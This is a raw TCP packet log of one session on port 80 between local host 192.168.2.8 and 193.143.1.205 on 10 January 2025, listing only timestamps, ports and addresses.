Jan 10, 2025 18:49:32.105969906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.106609106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106618881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106630087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106661081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.106745958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106755972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106767893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106781006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106786013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.106805086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.106807947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.106853008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.107450962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.107507944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.107542992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.107563019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.107574940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.107606888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.107623100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.107634068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.107678890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.108374119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.111681938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.116542101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.116573095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.116583109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.116657972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.116679907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.116692066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.116723061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.145042896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.156173944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156230927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.156306982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156320095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156331062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156359911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.156445026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156456947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156471968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156482935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156497002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.156523943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.156608105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156619072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156630039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.156646013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.156675100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.157412052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.187407017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.187494040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.187530994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.187565088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.187581062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.187604904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.187612057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.187635899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.187680960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.195259094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195286989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195297956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195327044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.195430994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195444107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195455074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195466042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195476055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.195478916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195514917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.195545912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.195621014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195667982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195700884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.195709944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226248980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226288080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226300955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226356983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226378918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226387978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226392984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226437092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226438046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226448059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226461887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226483107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226556063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226567984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226583004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226600885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226624012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226713896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226725101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226735115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226756096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226764917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226804018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226881981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226893902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226907015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226918936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226928949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.226931095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.226962090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.227101088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.227113962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.227123976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.227143049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.227165937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.228811026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.228833914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.228844881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.228884935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.228929043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.228940964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.228967905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229114056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229127884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229150057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229161978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229171991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229193926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229235888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229249001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229295015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229382038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229393005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229407072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229423046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229430914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229456902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229526997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229609013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229620934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229646921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229716063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229728937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229739904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229762077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229788065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229862928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229875088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229885101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229897976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229909897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229912996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229923010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.229942083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.229963064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.230137110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231297016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231306076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231328011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231348038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231358051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231370926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231372118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231384039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231410027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231569052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231580973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231592894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231604099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231612921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231616020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231630087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231637955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231662989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231836081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231848001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231859922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231869936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231877089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231884956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231898069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231899977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231909990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.231928110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.231947899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232048988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232060909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232072115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232090950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232095957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232105017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232115984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232135057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232156992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232245922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232258081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232269049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232299089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232407093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232419014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232429028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232440948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232444048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232454062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232465982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232470036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232480049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232498884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232522964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232718945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232728958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232738972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232750893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232770920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232789040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232798100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232800961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232812881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232825041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232839108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.232850075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.232877970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.233011007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.233022928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.233040094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.233052015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.233055115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.233063936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.233091116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.233119011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.242082119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.252685070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291296959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291309118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291327953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291347980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291357994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291400909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291441917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291444063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291455030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291465998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291477919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291479111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291507959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291685104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291697979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291716099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291726112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291733027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291738033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291762114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291778088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.291860104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291872978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.291913033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.294707060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294768095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294779062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294806004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.294837952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294850111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294878960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.294923067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294934988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.294961929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.294997931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.295032978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315140963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315198898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315208912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315254927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315368891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315385103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315396070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315408945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315433025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315450907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315460920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315505981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315524101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315601110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315612078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315645933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315748930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315762043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315773010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315784931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315803051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315814018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315892935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.315932989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.315995932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.316005945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.316016912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.316029072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.316040993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.316049099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.316051960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.316072941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.316096067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.317851067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.317871094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.317879915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.317923069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318037987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318048000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318053961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318063974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318094015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318100929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318113089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318140984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318464994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318476915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318486929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318514109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318526030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318536043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318541050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318576097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318605900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318615913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318628073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318650961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.318653107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318701029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.318984032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319041967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319053888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319077969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319099903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319112062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319122076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319137096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319160938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319194078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319205046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319251060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319258928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319268942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319302082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319339991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319351912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319397926 CET	49704	80	192.168.2.8	193.143.1.205
